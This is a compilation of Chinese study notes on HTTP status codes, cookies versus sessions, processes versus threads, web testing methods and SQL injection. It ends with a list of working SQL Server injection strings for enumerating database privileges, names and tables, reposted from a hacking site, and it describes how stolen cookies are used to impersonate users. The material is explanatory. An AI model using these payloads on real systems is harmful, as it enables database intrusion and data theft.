指示客户端应该继续请求。回送用于通知客户端此次请求已经收到，并且没有被服务器拒绝。
客户端应该继续发送剩下的请求数据或者请求已经完成，或者忽略回送数据。服务器必须发送
最后的回送在请求之后。
101 Switching Protocols
服务器依照客服端请求，通过Upgrade头信息，改变当前连接的应用协议。服务器将根据Upgrade头立刻改变协议
在101回送以空行结束的时候。


Successful
=================================
200 OK
指示客服端的请求已经成功收到，解析，接受。
201 Created
请求已经完成并一个新的返回资源被创建。被创建的资源可能是一个URI资源，通常URI资源在Location头指定。回送应该包含一个实体数据
并且包含资源特性以及location通过用户或者用户代理来选择合适的方法。实体数据格式通过煤体类型来指定即content-type头。最开始服务器
必须创建指定的资源在返回201状态码之前。如果行为没有被立刻执行，服务器应该返回202。
202 Accepted
请求已经被接受用来处理。但是处理并没有完成。请求可能或者根本没有遵照执行，因为处理实际执行过程中可能被拒绝。
203 Non-Authoritative Information
204 No Content
服务器已经接受请求并且没必要返回实体数据，可能需要返回更新信息。回送可能包含新的或更新信息由entity-headers呈现。
205 Reset Content
服务器已经接受请求并且用户代理应该重新设置文档视图。
206 Partial Content
服务器已经接受请求GET请求资源的部分。请求必须包含一个Range头信息以指示获取范围可能必须包含If-Range头信息以成立请求条件。

Redirection
==================================
300 Multiple Choices
请求资源符合任何一个呈现方式。
301 Moved Permanently
请求的资源已经被赋予一个新的URI。
302 Found
通过不同的URI请求资源的临时文件。
303 See Other
304 Not Modified
如果客服端已经完成一个有条件的请求并且请求是允许的，但是这个文档并没有改变，服务器应该返回304状态码。304
状态码一定不能包含信息主体，从而通常通过一个头字段后的第一个空行结束。
305 Use Proxy
请求的资源必须通过代理（由Location字段指定）来访问。Location资源给出了代理的URI。
306 Unused
307 Temporary Redirect

Client Error
=====================
400 Bad Request
因为错误的语法导致服务器无法理解请求信息。
401 Unauthorized
如果请求需要用户验证。回送应该包含一个WWW-Authenticate头字段用来指明请求资源的权限。
402 Payment Required
保留状态码
403 Forbidden
服务器接受请求，但是被拒绝处理。
404 Not Found
服务器已经找到任何匹配Request-URI的资源。
405 Menthod Not Allowed
Request-Line请求的方法不被允许通过指定的URI。
406 Not Acceptable
407 Proxy Authentication Required
408 Reqeust Timeout
客服端没有提交任何请求在服务器等待处理时间内。
409 Conflict
410 Gone
411 Length Required
服务器拒绝接受请求在没有定义Content-Length字段的情况下。
412 Precondition Failed
413 Request Entity Too Large
服务器拒绝处理请求因为请求数据超过服务器能够处理的范围。服务器可能关闭当前连接来阻止客服端继续请求。
414 Request-URI Too Long
服务器拒绝服务当前请求因为URI的长度超过了服务器的解析范围。
415 Unsupported Media Type
服务器拒绝服务当前请求因为请求数据格式并不被请求的资源支持。
416 Request Range Not Satisfialbe
417 Expectation Failed

Server Error
===================================
500 Internal Server Error
服务器遭遇异常阻止了当前请求的执行
501 Not Implemented
服务器没有相应的执行动作来完成当前请求。
502 Bad Gateway
不确定的网关
503 Service Unavailable
因为临时文件超载导致服务器不能处理当前请求。
504 Gateway Timeout
网关超时
505 Http Version Not Supported
HTTP的版本不支持

   cookie和session的共同之处在于：cookie和session都是用来跟踪浏览器用户身份的会话方式。
   cookie 和session的区别是：cookie数据保存在客户端，session数据保存在服务器端。
 
   简单的说，当你登录一个网站的时候，

    如果web服务器端使用的是session，那么所有的数据都保存在服务器上，客户端每次请求服务器的时候会发送当前会话的sessionid，服务器根据当前sessionid判断相应的用户数据标志，以确定用户是否登录或具有某种权限。由于数据是存储在服务器上面，所以你不能伪造，但是如果你能够获取某个登录用户的 sessionid，用特殊的浏览器伪造该用户的请求也是能够成功的。sessionid是服务器和客户端链接时候随机分配的，一般来说是不会有重复，但如果有大量的并发请求，也不是没有重复的可能性.

    如果浏览器使用的是cookie，那么所有的数据都保存在浏览器端，比如你登录以后，服务器设置了cookie用户名，那么当你再次请求服务器的时候，浏览器会将用户名一块发送给服务器，这些变量有一定的特殊标记。服务器会解释为cookie变量，所以只要不关闭浏览器，那么cookie变量一直是有效的，所以能够保证长时间不掉线。如果你能够截获某个用户的 cookie变量，然后伪造一个数据包发送过去，那么服务器还是认为你是合法的。所以，使用 cookie被攻击的可能性比较大。如果设置了的有效时间，那么它会将 cookie保存在客户端的硬盘上，下次再访问该网站的时候，浏览器先检查有没有 cookie，如果有的话，就读取该 cookie，然后发送给服务器。如果你在机器上面保存了某个论坛 cookie，有效期是一年，如果有人入侵你的机器，将你的   cookie拷走，然后放在他的浏览器的目录下面，那么他登录该网站的时候就是用你的的身份登录的。所以 cookie是可以伪造的。当然，伪造的时候需要主意，直接copy    cookie文件到 cookie目录，浏览器是不认的，他有一个index.dat文件，存储了 cookie文件的建立时间，以及是否有修改，所以你必须先要有该网站的 cookie文件，并且要从保证时间上骗过浏览器。

    两个都可以用来存私密的东西，同样也都有有效期的说法,区别在于session是放在服务器上的，过期与否取决于服务期的设定，cookie是存在客户端的，过去与否可以在cookie生成的时候设置进去。

     总之，两者的区别可以总结为：

    (1)cookie数据存放在客户的浏览器上，session数据放在服务器上
    (2)cookie不是很安全，别人可以分析存放在本地的COOKIE并进行COOKIE欺骗,如果主要考虑到安全应当使用session，所以课可以把一些重要的信息存放到session中。
    (3)session会在一定时间内保存在服务器上。当访问增多，会比较占用你服务器的性能，如果主要考虑到减轻服务器性能方面，应当使用COOKIE
    (4)单个cookie在客户端的限制是3K，就是说一个站点在客户端存放的COOKIE不能大于3K。

   进程（process）常常被定义为程序的执行。可以把一个进程看成是一个独立的程序,在内存中有其完备的数据空间和代码空间。一个进程所拥有的数据和变量只属于它自己。

　　线程（tread）则是某一进程中一路单独运行的程序。也就是说,线程存在于进程之中。一个进程由一个或多个线程构成,各线程共享相同的代码和全局数据,但各有其自己的堆栈。由于堆栈是每个线程一个,所以局部变量对每一线程来说是私有的。由于所有线程共享同样的代码和全局数据,它们比进程更紧密,比单独的进程间更趋向于相互作用,线程间的相互作用更容易些,因为它们本身就有某些供通信用的共享内存：进程的全局数据。

　　一个进程和一个线程最显著的区别是：线程有自己的全局数据。线程存在于进程中,因此一个进程的全局变量由所有的线程共享。由于线程共享同样的系统区域,操作系统分配给一个进程的资源对该进程的所有线程都是可用的,正如全局数据可供所有线程使用一样。

   或许可以浅浮的理解为：进程就是一个能够实现某一功能的大程序，而线程则是这个大程序中的某个小程序或者说是函数。

http://www.51testing.com/html/57/1681.html

web测试技术经典案例 文章出处：网络 作者： 发布时间：2006-09-04 1. 概述 随着web应用的增多，新的模式解决方案中以web为核心的应用也越来越多，很多公司各种应用的架构都以B/S及web应用为主，但是有关WEB测试方面的内容并没有相应的总结，所以我在这里对web的测试方法和采用的测试技术进行总结，便于内部交流。 测试方法尽量涵盖web程序的各个方面，测试技术方面在继承传统测试技术的技术上结合web应用的特点。 相关的测试和实现技术也有着很大的关系，由于本公司使用J2EE体系，也许例子中只有JAVA平台可以使用，.NET平台测试技术暂时不涉及，如果你有请与我联系。 　2. 测试方法 说明：测试方法的选择取决你的测试策略。 一般的web测试和以往的应用程序的测试的侧重点不完全相同，基本包括以下几个方面。 当然圆满的完成测试还要有好的团体和流程等的方方面面的支持，你同样应该对这些方面进行注意。 有些测试方法设计到了流程，哪些应该在你的测试团队建设中建立。 　2.1 界面测试 现在一般人都有使用浏览器浏览网页的经历，用户虽然不是专业人员但是对界面效果的印象是很重要的。如果你注重这方面的测试，那么验证应用程序是否易于使用就非常重要了。很多人认为这是测试中最不重要的部分，但是恰恰相反界面对不懂技术的客户来说那相当关键，慢慢体会你会明白的。 方法上可以根据设计文档，如果够专业的话可以专业美工人员，来确定整体风格页面风格，然后根据这个可以页面人员可以生成静态的HTML，CSS等甚至生成几套不用的方案来讨论，或者交给客户评审，最后形成统一的风格的页面/框架。注意不要靠程序员的美术素养形成你的web风格，那样可能会很糟糕。 主要包括以下几个方面的内容： 站点地图和导航条位置、是否合理、是否可以导航等内容布局布局是否合理，滚动条等简介说明说明文字是否合理，位置，是否正确 背景/色调是否正确、美观，是否符合用户需求； 页面在窗口中的显示是否正确、美观（在调整浏览器窗口大小时，屏幕刷新是否正确）表单样式大小，格式，是否对提交数据进行验证（如果在页面部分进行验证的话）等 连接连接的形式，位置，是否易于理解等 web测试的主要页面元素 页面元素的容错性列表（如输入框、时间列表或日历） 页面元素清单（为实现功能，是否将所需要的元素全部都列出来了，如按钮、单选框、复选框、列表框、超连接、输入框等等） 页面元素的容错性是否存在 页面元素的容错性是否正确 页面元素基本功能是否实现（如文字特效、动画特效、按钮、超连接） 页面元素的外形、摆放位置（如按钮、列表框、核选框、输入框、超连接等） 页面元素是否显示正确（主要针对文字、图形、签章） 元素是否显示（元素是否存在） 页面元素清单（为实现功能，是否将所需要的元素全部都列出来了，如按钮、单选框、复选框、列表框、超连接、输入框等等） 测试技术 通过页面走查，浏览确定使用的页面是否符合需求。可以结合兼容性测试对不用分辨率下页面显示效果，如果有影响应该交给设计人员提出解决方案。 可以结合数据定义文档查看表单项的内容，长度等信息。 对于动态生成的页面最好也能进行浏览查看。如Servelet部分可以结合编码规范，进行代码走查。是否支持中文，如果数据用XML封装要做的工作会多一点等等。 界面测试要素: 符合标准和规范,灵活性,正确性,直观性,舒适性,实用性,一致性 1.直观性: 用户界面是否洁净,不唐突,不拥挤.界面不应该为用户制造障碍.所需功能或者期待的响应应该明显,并在预期出现的地方. 界面组织和布局合理吗?是否允许用户轻松地从一个功能转到另一个功能?下一步做什么明显吗?任何时刻都可以决定放弃或者退回,退出吗?输入得到承认了吗?菜单或者窗口是否深藏不露? 有多余功能吗?软件整体抑或局部是否做得太多?是否有太多特性把工作复杂化了?是否感到信息太庞杂? 如果其他所有努力失败,帮助系统真能帮忙吗? 2.一致性 快速键和菜单选项.在Windows 中按F1键总是得到帮助信息 术语和命令.整个软件使用同样的术语吗?特性命名一致吗?例如,Find是否一直叫Find,而不是有时叫Search? 软件是否一直面向同一级别用户?带有花哨用户界面的趣味贺卡程序不应该显示泄露技术机密的错误提示信息. 按钮位置和等价的按键.大家是否注意到对话框有OK按钮和Cancle按钮时,OK按钮总是在上方或者左方,而Cancle按钮总是在下方或右方?同样原因,Cancle按钮的等价按键通常是Esc,而选中按钮的等价按钮通常是Enter.保持一致. 3.灵活性 状态跳转.灵活的软件实现同一任务有多种选择方式. 状态终止和跳过,具有容错处理能力. 数据输入和输出.用户希望有多种方法输入数据和查看结果.例如,在写字板插入文字可用键盘输入,粘贴,从6种文件格式读入,作为对象插入,或者用鼠标从其他程序拖动. 4.舒适性 恰当.软件外观和感觉应该与所做的工作和使用者相符. 错误处理.程序应该在用户执行严重错误的操作之前提出警告,并允许用户恢复由于错误操作导致丢失的数据.如大家认为undo /redo是当然的. 性能.快不见得是好事.要让用户看得清程序在做什么,它是有反应的. 2.2 功能测试 对功能测试是测试中的重点 主要包括一下几个方面的内容 连接这个连接和界面测试中的连接不同那里注重的是连接方式和位置，如是图像还是文字放置的位置等，还是其他的方式。这里的连接注重功能。如是否有连接，连接的是否是说明的位置等。 表单提交应当模拟用户提交，验证是否完成功能，如注册信息，要测试这些程序，需要验证服务器能正确保存这些数据，而且后台运行的程序能正确解释和使用这些信息。还有数据正确性验证，异常处理等，最好结合易用性要求等。B/S结构实现的功能可能主要的就在这里，提交数据，处理数据等如果有固定的操作流程可以考虑自动化测试工具的录制功能，编写可重复使用的脚本代码，可以在测试、回归测试时运行以便减轻测试人员工作量。 Cookies 验证如果系统使用了cookie，测试人员需要对它们进行检测。如果在 cookies 中保存了注册信息，请确认该 cookie能够正常工作而且已对这些信息已经加密。如果使用 cookie 来统计次数，需要验证次数累计正确。关于cookie的使用可以参考浏览器的帮助信息。如果使用B/S结构cookies中存放的信息更多。功能易用性测试完成了功能测试可以对应用性进行了解，最好听听客户的反映，在可以的情况下对程序进行改进是很有必要的，和客户保持互动对系统满意度也是很有帮助的。 测试技术功能测试的测试技术可是很多的，我们可以结合实际环境选择使用 白盒测试技术(White Box Testing) 深入到代码一级的测试，使用这种技术发现问题最早，效果也是最好的。该技术主要的特征是测试对象进入了代码内部,根据开发人员对代码和对程序的熟悉程度,对有需要的部分进行在软件编码阶段，开发人员根据自己对代码的理解和接触所进行的软件测试叫做白盒测试。这一阶段测试以软件开发人员为主，在JAVA平台使用Xunit系列工具进行测试，Xunit测试工具是类一级的测试工具对每一个类和该类的方法进行测试。 黑盒测试技术（Black Box Testing）黑盒测试的内容主要有以下几个方面，但是主要还是功能部分。主要是覆盖全部的功能，可以结合兼容，性能测试等方面进行，根据软件需求，设计文档，模拟客户场景随系统进行实际的测试，这种测试技术是使用最多的测试技术涵盖了测试的方方面面，可以考虑以下方面 正确性 (Correctness)：计算结果，命名等方面? 可用性 (Usability)：是否可以满足软件的需求说明。 边界条件 (Boundary Condition)输入部分的边界值,就是使用一般书中说的等价类划分,试试最大最小和非法数据等等. 性能 (Performance) 正常使用的时间内系统完成一个任务需要的时间,多人同时使用的时候响应时间,在可以接受范围内.J2EE技术实现的系统在性能方面更是需要照顾的,一般原则是3秒以下接受,3-5秒可以接受,5秒以上就影响易用性了. 如果在测试过程中发现性能问题，修复起来是非常艰难的，因为这常常意味着程序的算法不好，结构不好，或者设计有问题。因此在产品开发的开始阶段，就要考虑到软件的性能问题。 压力测试 (Stress) 多用户情况可以考虑使用压力测试工具,建议将压力和性能测试结合起来进行.如果有负载平衡的话还要在服务器端打开监测工具,查看服务器CPU使用率,内存占用情况,如果有必要可以模拟大量数据输入,对硬盘的影响等等信息.如果有必要的话必须进行性能优化(软硬件都可以).这里的压力测试针对的是某几项功能. 错误恢复 (Error Recovery) 错误处理，页面数据验证,包括突然间断电,输入脏数据等. 安全性测试(Security)这个领域正在研究中,不过防火墙,补丁包.杀毒软件等的就不必说了,不过可以考虑破坏性测试时任意.看了一些资料后得知,这里面设计到的知识\内容可以写本书了,不是一两句可以说清的,特别是一些商务网站,或者跟钱有关,或者和公司秘密有关的web更是,需要这方面的测试,在外国有一种专门干这一行的人叫安全顾问,可以审核代码,提出安全建议,出现紧急事件是的处理办法等,在国内没有听说哪里有专门搞安全技术测试的内容. 兼容性 (Compatibility) 不同浏览器，不同应用程序版本在实现功能时的表现,不同的上网方式,如果你测试的是一个公共网站的话. 兼容性测试内容详述 硬件平台 浏览器软件和版本:浏览器插件,浏览器选项,视频分辨率和色深.文字大小,调制解调器速率. 软件配置 (Configuration) 如IE浏览器的不用选项-安全设定最高,禁用脚本程序,等等,你们的程序在各种不用的设置下表现如何. 单元测试技术(Unit Test): 2.2.1 下面是对白盒测试和单元测试的区别的论述: 单元测试和白盒测试是不同的,虽然单元测试和白盒测试都是关注功能虽然他们都需要代码支持,但是级别不同,白盒测试关注的是类中一个方法的功能是更小的单位,但是完成一个单元测试可能需要N多类,所以说作单元测试需要什么写驱动和稳定桩,比如查询单元是一个查询包包N多的测试类,测试数据,运行他需要提供数据的部分,输入参数和发出命令的驱动等等.是比类大的一个整体进行的. 另一个明显的区别是白盒测试不会关注类接口,但是单元测试主要的内容就是类接口测试. 不过很多时候是很少区分的,因为这两种技术实现起来有很多相互关联的部分.不过要看你对质量的关注程度来决定. 2.2.2 功能测试边界测试\越界测试技术详述 边界条件 边界条件是指软件计划的操作界限所在的边缘条件. 如果软件测试问题包含确定的边界,那么数据类型可能是: 数值速度字符地址位置尺寸数量 同时,考虑这些类型的下述特征: 第一个/最后一个最小值/最大值 开始/完成超过/在内 空/满最短/最长 最慢/最快最早/最迟 最大/最小最高/最低 相邻/最远 越界测试 通常是简单加1或者很小的数(对于最大值)和减少1或者很小的数(对于最小值),例如: 第一个减1/最后一个加1 开始减1/完成加1 空了再减/满了再加 慢上加慢/快上加快 最大数加1/最小数减1 最小值减1/最大值加1 刚好超过/刚好在内 短了再短/长了再长 早了更早/晚了更晚 最高加1/最低减1 另一些该注意的输入:默认,空白,空值,零值和无;非法,错误,不正确和垃圾数据. 2.2.3 状态测试技术 软件可能进入的每一种独立状态; 从一种状态转入另一种状态所需的输入和条件; 进入或退出某种状态时的设置条件及输入结果. 具体测试方法可以参考如下: 每种状态至少访问一次; 测试看起来最常见最普遍的状态转换; 测试状态之间最不常用的分支 测试所有错误状态及其返回值 测试随机状态转换 2.2.4 竞争条件测试技术 竞争条件典型情形参考如下: 两个不同的程序同时保存或打开同一个文档 共享同一台打印机,通信端口或者其他外围设备 当软件处于读取或者修改状态时按键或者单击鼠标 同时关闭或者启动软件的多个实例 同时使用不同的程序访问一个共同数据库 2.3 负载\压力测试(StressTest) 在这里的负载\压力和功能测试中的不同,他是系统测试的内容,是基本功能已经通过后进行的.可以在集成测试阶段,亦可以在系统测试阶段进行. 使用负载测试工具进行,虚拟一定数量的用户看一看系统的表现,是否满足定义中的指标. 负载测试一般使用工具完成，loadrunner，webload，was，ewl，e-test等，主要的内容都是编写出测试脚本，脚本中一般包括用户一般常用的功能，然后运行，得出报告。所以负载测试包括的主要内容就不介绍了。 负载测试技术在各种极限情况下对产品进行测试 (如很多人同时使用该软件，或者反复运行该软件)，以检查产品的长期稳定性。例如，使用压力测试工具对web服务器进行压力测试. 本项测试可以帮助找到一些大型的问题，如死机、崩损、内存泄漏等，因为有些存在内存泄漏问题的程序，在运行一两次时可能不会出现问题，但是如果运行了成千上万次，内存泄漏得越来越多，就会导致系统崩滑。用J2EE实现的系统很少但是并不是没有内存问题. 无论什么工具基本的技术都是利用线程技术模仿和虚拟用户，在这里主要的难点在与测试脚本的编写，每种工具使用的脚本都不一样，但是大多数工具都提供录制功能就算是不会编码的测试人员同样可以测试。 对负载工具的延伸使用可以进行系统稳定性测试，系统极限测试，如使用100的Load Size连续使用24小时，微软定义的通过准则是通过72小时测试的程序一般不会出现稳定性的问题。 2.4 回归测试 (Regression Test) 过一段时间以后，再回过头来对以前修复过的Bug重新进行测试，看该Bug 是否会重新出现。 回归测试技术可以在测试的各个阶段出现，无论是单元测试还是集成测试还是系统测试。是对以前问题进行验证的过程。 回归测试的目的就是保证以前已经修复的Bug不会再出现。实际上，许多Bug都是在回归测试时发现的，在此阶段，我们首先要检查以前找到的Bug 是否已经更正了。值得注意的是，已经更正的Bug 也可能又回来了，有的Bug 经过修改之后可能又产生了新的Bug。所以，回归测试可保证已更正的Bug不再重现，不产生新的Bug。 2.5 Alpha 和Beta 测试 (Alpha and Beta Test): 在正式发布产品之前往往要先发布一些测试版，让用户能够反馈出相关信息，或者找到存在的Bug，以便在正式版中得到解决。 特别是在有客户参加的情况下，对系统进行测试可能会出现一些我们没有考虑的情况，还可以解决一些客户实际关心的问题 　3 不同的测试技术区分 3.1 覆盖测试技术 说明:测试覆盖率可以看出测试的完成度,在测试分析报告中可以作为量化指标的依据，测试覆盖率越高效果越好。 覆盖测试可以是程序代码的执行路径覆盖，亦可以是功能实现的步骤覆盖（可以理解成流程图的路径覆盖）。 该技术可以用在任何测试阶段，包括单元测坏死、集成测试、系统测试。 使用该技术时可以使用以上的任何测试方法和测试技术。 3.2 白盒测试和黑盒测试技术 白盒测试技术 (White Box Testing)该技术主要的特征是测试对象进入了代码内部,根据开发人员对代码和对程序的熟悉程度,对有需要的部分进行在软件编码阶段，开发人员根据自己对代码的理解和接触所进行的软件测试叫做白盒测试。这一阶段测试以软件开发人员为主，使用Xunit系列工具进行测试，可以包括很多方面如功能性能等。 黑盒测试 (Black Box Testing)测试的主体部分黑盒测试的内容主要有以下几个方面，但是主要还是功能部分。主要是覆盖全部的功能，可以结合兼容，性能测试等方面进行,包括的不同测试类型请参考以上内容。 3.3 手工测试和自动化测试 手工测试（Manual Testing）：即依靠人力来查找Bug。方法可以参考上边的测试，也可以根据对实现技术及经验等进行不同的测试。 自动测试（Automation Testing）使用有针对工具实行。可以作出自动化测试的计划,对可以进行自动化测试的部分编写或者录制相应的脚本,可以加入功能,容错,表单提交等,可以参考MI,Rational或者其他类测试工具说明. 根据权威的软件测试经验，手工测试还是主要的测试方法，自动测试不够灵活，在这里不再详述。微软的测试过程80％还是手工完成。 自动测试永远也代替不了手工测试，但是手工测试的工作量很大是不争的事实。 3.4 根据RUP标准按阶段区分测试 单元测试在上边有详细的叙述，还有针对单元测试和集成测试的论述，请参考。 集成测试分为功能集成测试和系统集成测试，相互有调用的功能集成，在系统环境下功能相互调用的影响等，使用方法可以任意选用上面的内容。注重功能方面。 系统测试在功能实现的基础上，可以加入兼容性，易用性，性能等等 验收测试可以包括Alpha和Beta测试，在这里就不再详述。 　4. 存在风险及解决方法 说明：测试不能找出所有的问题，只是尽量将问题在开发阶段解决大多数的问题而已。 测试风险如下： 软硬件的测试环境提供上也对测试结果有很大的影响。 测试团队的水平，经验，合作效果等 整个开发流程对测试的重视程度，测试的进入时间等 由于测试环境操作系统，网络环境，带宽等情况可能产生的测试结果可能不同这是就需要经验以及对测试环境的保护等方面下一些功夫。 　5. 软件缺陷的原则 软件缺陷区别于软件bug,它是在测试过程中出现的对系统有影响的,但是在设计中没有的或者对修改后的bug测试和开发人员有不同意见等 软件未达到产品说明书标明的功能。 软件出现了产品说明书指明不会出现的错误。 软件功能超出产品说明书指明范围。 软件未达到产品说明书虽未指出但应达到的目标。 软件测试员认为软件难以理解、不易使用、运行速度缓慢，或者最终用户认为不好。 　6. 文档测试 产品说明书属性检查清单 完整.是否有遗漏和丢失?完全吗?单独使用是否包含全部内容? 准确.既定解决方案正确吗?目标明确吗?有没有错误? 精确,不含糊,清晰.描述是否一清二楚?还是自说自话?容易看懂和理解吗? 一致.产品功能能描述是否自相矛盾,与其他功能有没有冲突? 贴切.描述功能的陈述是否必要?有没有多余信息?功能是否原来的客户要求? 合理.在特定的预算和进度下,以现有人力,物力和资源能否实现? 代码无关.是否坚持定义产品,而不是定义其所信赖的软件设计,架构和代码? 可测试性.特性能否测试?测试员建立验证操作的测试程序是否提供足够的信息? 产品说明书用语检查清单 说明对问题的描述通常表现为粉饰没有仔细考虑的功能----可归结于前文所述的属性.从产品说明书上找出这样的用语,仔细审视它们在文中是怎样使用的.产品说明书可能会为其掩饰和开脱,也可能含糊其词----无论是哪一种情况都可视为软件缺陷. 总是,每一种,所有,没有,从不.如果看到此类绝对或肯定的,切实认定的叙述,软件测试员就可以着手设计针锋相对的案例. 当然,因此,明显,显然,必然.这些话意图诱使接受假定情况.不要中了圈套. 某些,有时,常常,通常,惯常,经常,大多,几乎.这些话太过模糊."有时"发生作用的功能无法测试. 等等,诸如此类,依此类推.以这样的词结束的功能清单无法测试.功能清单要绝对或者解释明确,以免让人迷惑,不知如何推论. 良好,迅速,廉价,高效,小,稳定.这些是不确定的说法,不可测试.如果在产品说明书中出现,就必须进一步指明含义. 已处理,已拒绝,已忽略,已消除.这些廉洁可能会隐藏大量需要说明的功能.

IE缓存
   它是保存浏览页面的地方，利用它可以提高访问页面的速度，每次访问网站时，IE会首先搜索这个目录，如果其中已经有访问过的内容，那IE就不必从网上下载，而直接从缓存中调出来，从而提高了访问网站的速度。
设置：在IE的“工具”菜单下选择“Internet选项”，然后在“常规”选项卡中你会看到有“Internet临时文件”这一项，单击“设置”按钮，然后在弹出的“设置”对话框中将缓存大小设置为一个合适的值。你也可以直接将IE缓存移动到其它位置上去。

cookies:
什么是cookies?
  Cookies就是服务器暂存放在你的电脑里的资料（.txt格式的文本文件），好让服务器用来辨认你的计算机。当你在浏览网站的时候，Web服务器会先送一小小资料放在你的计算机上，Cookies 会帮你在网站上所打的文字或是一些选择都记录下来。当下次你再访问同一个网站，Web服务器会先看看有没有它上次留下的Cookies资料，有的话，就会依据Cookie里的内容来判断使用者，送出特定的网页内容给你。
价值：利用这些信息，一方面是可以为用户提供个性化的服务，另一方面，也可以作为了解所有用户行为的工具，对于网站经营策略的改进有一定参考价值。

  如果要使开发的网站具有cookies功能，是不是在开发程序时必须要写入一段代码来进行编写呢？

  那又如何来进行cookies的测试呢？

  高手帮帮忙，解释一下，谢谢

 怎么进行cookies的测试呢？大家知道的说一下，谢谢了！！

 

 

1、什么是SQL注入

    随着B/S模式应用开发的发展，使得使用这种模式编写应用程序的程序员也越来越多。但是由于这个行业的入门门槛不高，程序员的水平及经验也参差不齐，相当大一部分程序员在编写代码的时候，没有对用户输入数据的合法性进行判断，使应用程序存在安全隐患。攻击者可以通过互联网的输入区域，利用某些特殊构造的SQL语句插入SQL的特殊字符和指令，提交一段数据库查询代码（一般是在浏览器地址栏进行，通过正常的www端口访问），操纵执行后端的DBMS查询并获得本不为用户所知数据的技术，也就是SQL Injection（SQL注入）。

    SQL注入是从正常的WWW端口通过对页面请求访问，而且表面看起来跟一般的Web页面访问没什么区别，所以目前市面的防火墙很少会对SQL注入发出警报，如果管理员没查看IIS日志的习惯，可能被入侵很长时间都不会发觉。

    SQL注入的手法相当灵活，可以根据具体情况进行分析，构造巧妙的SQL语句，从而获取想要的数据。

    程序存在SQL注入，追其原因，是因为代码或者编码的不完善。但说到底，是程序员的惰性。代码的不完善，往往是因为在程序编写的过程中，没有考虑到代码的健壮性及安全性的结果，就国内现状来看，大多数网站使用的脚本语言，用ASP+Access或SQLServer的占70%以上，PHP+MySQL占20%，其他的不足10%，并且因为开发者水平的参差不齐,代码编写的过程考虑不够周全，程序代码的安全性值得怀疑，而程序脚本被注入也成为必然。

    当然，程序运行环境的先天缺陷也是人为的，这种现象无法完全杜绝避免。从攻击者的角度来看，使用SQL注入能够避免绝大多数防火墙的防御，不留攻击痕迹，攻击手法多种多样，因此才会导致SQL注入攻击手段的兴起。

2、SQL注入的原理及分类

    SQL-Injection的原理

    SQL是一种用于关系数据库的结构化查询语言。它分为许多种，但大多数都松散地基于美国国家标准化组织最新的标准SQL-92。SQL语言可以修改数据库结构和操作数据库内容。当一个攻击者能够通过往查询中插入一系列的SQL操作数据写入到应用程序中去，并对数据库实施了查询，这时就已经构成了SQL-Injection。

    SQL-Injection的分类

    由于SQL-injection攻击出要发生在B/S结构的应用程序上，而这些程序大部分都属于互联网的web站点，在这种情况下SQL-Injection同样需要遵循HTTP协议，形成了两种分类： POST方式注入和GET方式注入

3、SQL-Injection的攻击方法

    常规注入方法 SQL注入攻击本身就是一个常规性的攻击，它可以允许一些不法用户检索你的数据，改变服务器的设置，或者在你不小心的时候黑掉你的服务器。

    旁注 顾名思义就是从旁注入，也就是利用主机上面的一个虚拟站点进行渗透 ，此类手法多出现与虚拟主机站点。

    盲注 通过构造特殊的SQL语句，在没有返回错误信息的情况下进行注入。

    跨站注入 攻击者利用程序对用户输入过滤及判断的不足，写入或插入可以显示在页面上对其他用户造成影响的代码。跨站注入的高级攻击就属于这种攻击。

4、SQL注入的危害

    SQL注入通过网页对网站数据库进行修改。它能够直接在数据库中添加具有管理员权限的用户，从而最终获得系统管理员权限。黑客可以利用获得的管理员权限任意获得网站上的文件或者在网页上加挂木马和各种恶意程序，对网站的正常运营和访问该网站的网友都带来巨大危害。

5、SQL注入漏洞的风险

    由于SQL注入是从正常的WWW端口访问，而且表面看起来跟一般的Web页面访问没什么区别，所以目前市面的防火墙都不会对SQL注入发出警报，如果管理员没查看IIS日志的习惯，可能被入侵很长时间都不会发觉。它能够直接在数据库中添加具有管理员权限的用户，从而最终获得系统管理员权限。黑客可以利用获得的管理员权限任意获得网站上的文件或者在网页上加挂木马和各种恶意程序，对网站和访问该网站的网友都带来巨大危害。

    无论你有多强壮的防火墙规则设置或者非常勤于补漏的修补机制，如果你的网络应用程序开发者没有遵循安全代码进行开发，攻击者将通过80端口进入你的系统。

    例如，如果一个网站的数据库系统为SQL Server 2000数据库，同时没有在数据库的权限设置上做好安全限制，将导致严重的后果。SQL注入意味着数据库也会被攻破，入侵者得到当前数据库权限的同时，也获得了整个数据库服务器的管理权限，入侵者可通过数据库管理权限得到系统权限，并为所欲为。

    再者，很多网站的管理后台都可经由公网直接访问到后台管理登录页面，并且可通过暴力猜解等方式对后台管理账户进行猜解。对于任何一个网站的后台管理登录页，安全的做法应该是限制访问。尤其是对于政府及银行网络来说，更不应该将后台管理页面放置到公网上任由访问，这样的话安全系数会大大减少，遭受攻击的机会却大大增加了。

6、SQL注入之asp注入常用语句

是否支持多句查询
http://www.520hack.com @a int--

是否支持子查询
http://www.520hack.com and (Select count(1) from [sysobjects])>=0

返回用户名
http://www.520hack.com And user%2Bchar(124)=0

当前用户是否为 sysadmin 固定服务器角色的成员。
http://www.520hack.com And Cast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1

PS:0x730079007300610064006D0069006E00 = sysadmin

当前用户是否为 db_owner 固定数据库角色的成员
http://www.520hack.com And Cast(IS_MEMBER(0x640062005F006F0077006E0065007200) as varchar(1))%2Bchar(124)=1

0x640062005F006F0077006E0065007200 = db_owner

返回数据库名
http://www.520hack.com And db_name()%2Bchar(124)=0

操作系统和SQLserver版本
http://www.520hack.com And @@version = 1

本地服务器名称
http://www.520hack.com And @@SERVERNAME = 1

http://www.520hack.com  And (Select Top 1 cast(name as varchar(8000)) from(Select Top 1 id,name from sysobjects Where xtype=char(85) order by id) T order by id desc)>0 --第一个表名

本篇文章来源于 新世纪网安基地 (www.520hack.com) 原文出处：http://www.520hack.com/Article/Text5/200706/5705.html